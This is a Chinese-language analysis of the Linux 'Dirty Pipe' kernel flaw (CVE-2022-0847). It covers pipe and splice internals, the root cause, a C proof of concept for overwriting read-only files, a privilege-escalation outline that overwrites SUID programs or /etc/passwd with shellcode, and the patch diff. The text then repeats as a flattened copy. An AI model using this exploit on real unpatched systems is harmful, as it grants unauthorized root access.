CVE-2022-0847 “Dirty Pipe”漏洞复现及简要分析
字数 1286 2025-08-29 08:31:47

Linux内核漏洞CVE-2022-0847 "Dirty Pipe" 分析与利用指南

漏洞概述

CVE-2022-0847是一个Linux内核漏洞,被称为"Dirty Pipe",类似于著名的"Dirty Cow"(CVE-2016-5195)漏洞。该漏洞允许攻击者越权对文件进行写入操作,影响范围广泛,CVSS评分为7.2。

受影响版本

  • 影响Linux内核5.8及以上版本
  • 在5.16.11、5.15.25、5.10.102版本中被修复

前置知识

管道(Pipe)机制

管道是Linux中重要的IPC机制,在内核中通过以下结构实现:

  1. 核心数据结构
    • pipe_inode_info:管理管道的核心结构
    • pipe_buffer:表示管道中单页内存的数据
struct pipe_buffer {
    struct page *page;       // 存放数据的页框
    unsigned int offset, len; // 数据在页中的偏移和长度
    const struct pipe_buf_operations *ops; // 操作函数表
    unsigned int flags;      // 缓冲区标志位
    unsigned long private;   // 函数表私有数据
};
  1. 管道创建流程

    do_pipe2() → __do_pipe_flags() → create_pipe_files() → get_pipe_inode() → alloc_pipe_info()
    
  2. 管道操作函数表

    const struct file_operations pipefifo_fops = {
        .open = fifo_open,
        .llseek = no_llseek,
        .read_iter = pipe_read,
        .write_iter = pipe_write,
        // ...其他操作
    };
    

管道写入过程

pipe_write()函数的关键行为:

  1. 如果管道非空且上一个buffer未满,尝试向上一个buffer追加数据(需PIPE_BUF_FLAG_CAN_MERGE标志)
  2. 对于新buffer,如果没有PIPE_BUF_FLAG_CAN_MERGE标志则分配新页面
  3. 循环写入直到完成或管道满

Splice机制

splice()系统调用用于在文件和管道间高效传输数据,避免了用户空间与内核空间的数据拷贝。

关键流程

  • 文件→管道:splice_file_to_pipe() → do_splice_to() → generic_file_splice_read()
  • 管道→文件:do_splice_from() → iter_file_splice_write()

漏洞分析

漏洞原理

漏洞产生于以下条件:

  1. 管道被完全读写一轮后,所有pipe_buffer都保留了PIPE_BUF_FLAG_CAN_MERGE标志
  2. 使用splice从文件读取数据到管道时:
    • pipe_buffer->page指向文件映射的页面
    • 但未清除pipe_buffer->flags中的PIPE_BUF_FLAG_CAN_MERGE标志
  3. 后续写入时,内核误认为该页面可写入,导致越权写入文件

漏洞利用步骤

  1. 初始化管道状态

    • 写满然后读空管道,设置所有buffer的PIPE_BUF_FLAG_CAN_MERGE标志
  2. 建立文件关联

    • 使用splice从目标文件读取1字节到管道
    • 使pipe_buffer->page指向文件页面,但保留可合并标志
  3. 越权写入

    • 向管道写入数据,内核会将数据写入文件映射的页面
    • 完成对只读文件的修改

漏洞利用实践

基础PoC

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

void errExit(char *msg) {
    printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

int main(int argc, char **argv, char **envp) {
    // 参数检查、文件打开等初始化工作...
    
    // 1. 设置所有pipe_buffer的CAN_MERGE标志
    pipe(pipe_fd);
    pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
    buffer = malloc(page_size);
    for (int size_left = pipe_size; size_left > 0; ) {
        int per_write = size_left > page_size ? page_size : size_left;
        size_left -= write(pipe_fd[1], buffer, per_write);
    }
    for (int size_left = pipe_size; size_left > 0; ) {
        int per_read = size_left > page_size ? page_size : size_left;
        size_left -= read(pipe_fd[0], buffer, per_read);
    }

    // 2. 使用splice建立文件关联
    offset_in_file--;
    retval = splice(target_file_fd, &offset_in_file, pipe_fd[1], NULL, 1, 0);
    if (retval < 0) errExit("splice failed!");

    // 3. 越权写入文件
    retval = write(pipe_fd[1], argv[3], data_size);
    if (retval < 0) errExit("Write failed!");
}

提权利用

通过覆写SUID程序或/etc/passwd文件实现提权:

unsigned char shellcode[] = {
    // msfvenom生成的shellcode
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 
    // ...省略其他字节
};

int main(int argc, char **argv) {
    // ...同上初始化步骤
    
    // 写入shellcode
    retval = write(pipe_fd[1], &shellcode[1], shellcode_len);
    
    // 触发提权
    system(argv[1]);
}

漏洞修复

修复方案是在相关操作中清除pipe_buffer->flags

--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
 return 0;
 buf->ops = &page_cache_pipe_buf_ops;
+buf->flags = 0;
 get_page(page);
 buf->page = page;
 buf->offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
 break;
 buf->ops = &default_pipe_buf_ops;
+buf->flags = 0;
 buf->page = page;
 buf->offset = 0;
 buf->len = min_t(ssize_t, left, PAGE_SIZE);

总结

"Dirty Pipe"漏洞利用管道机制中的标志位处理不当,实现了对只读文件的越权写入。与"Dirty Cow"相比,该漏洞利用更稳定但写入范围受限。系统管理员应及时更新内核,开发者应注意内核数据结构的状态一致性。

Linux内核漏洞CVE-2022-0847 "Dirty Pipe" 分析与利用指南 漏洞概述 CVE-2022-0847是一个Linux内核漏洞,被称为"Dirty Pipe",类似于著名的"Dirty Cow"(CVE-2016-5195)漏洞。该漏洞允许攻击者越权对文件进行写入操作,影响范围广泛,CVSS评分为7.2。 受影响版本 : 影响Linux内核5.8及以上版本 在5.16.11、5.15.25、5.10.102版本中被修复 前置知识 管道(Pipe)机制 管道是Linux中重要的IPC机制,在内核中通过以下结构实现: 核心数据结构 : pipe_inode_info :管理管道的核心结构 pipe_buffer :表示管道中单页内存的数据 管道创建流程 : 管道操作函数表 : 管道写入过程 pipe_write() 函数的关键行为: 如果管道非空且上一个buffer未满,尝试向上一个buffer追加数据(需 PIPE_BUF_FLAG_CAN_MERGE 标志) 对于新buffer,如果没有 PIPE_BUF_FLAG_CAN_MERGE 标志则分配新页面 循环写入直到完成或管道满 Splice机制 splice() 系统调用用于在文件和管道间高效传输数据,避免了用户空间与内核空间的数据拷贝。 关键流程 : 文件→管道: splice_file_to_pipe() → do_splice_to() → generic_file_splice_read() 管道→文件: do_splice_from() → iter_file_splice_write() 漏洞分析 漏洞原理 漏洞产生于以下条件: 管道被完全读写一轮后,所有 pipe_buffer 都保留了 PIPE_BUF_FLAG_CAN_MERGE 标志 使用 splice 从文件读取数据到管道时: 将 pipe_buffer->page 指向文件映射的页面 但未清除 pipe_buffer->flags 中的 PIPE_BUF_FLAG_CAN_MERGE 标志 后续写入时,内核误认为该页面可写入,导致越权写入文件 漏洞利用步骤 初始化管道状态 : 写满然后读空管道,设置所有buffer的 PIPE_BUF_FLAG_CAN_MERGE 标志 建立文件关联 : 使用 splice 从目标文件读取1字节到管道 使 pipe_buffer->page 指向文件页面,但保留可合并标志 越权写入 : 向管道写入数据,内核会将数据写入文件映射的页面 完成对只读文件的修改 漏洞利用实践 基础PoC 提权利用 通过覆写SUID程序或/etc/passwd文件实现提权: 漏洞修复 修复方案是在相关操作中清除 pipe_buffer->flags : 总结 "Dirty Pipe"漏洞利用管道机制中的标志位处理不当,实现了对只读文件的越权写入。与"Dirty Cow"相比,该漏洞利用更稳定但写入范围受限。系统管理员应及时更新内核,开发者应注意内核数据结构的状态一致性。